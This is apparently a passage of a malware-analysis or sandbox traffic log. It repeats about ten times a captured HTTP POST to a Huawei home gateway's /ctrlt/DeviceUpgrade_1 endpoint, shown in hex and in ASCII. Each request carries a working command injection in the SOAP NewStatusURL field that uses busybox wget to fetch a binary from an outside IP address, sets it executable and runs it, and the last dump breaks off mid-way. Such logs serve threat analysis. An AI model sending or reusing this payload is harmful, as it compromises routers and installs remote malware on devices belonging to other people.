mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 39 33 2e 32 33 39 2e 31 34 37 2e 32 30 31 20 2d 6c 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 62 69 6e 61 72 79 3b 20 2f 74 6d 70 2f 62 69 6e 61 72 79 20 6d 69 70 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 193.239.147.201 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 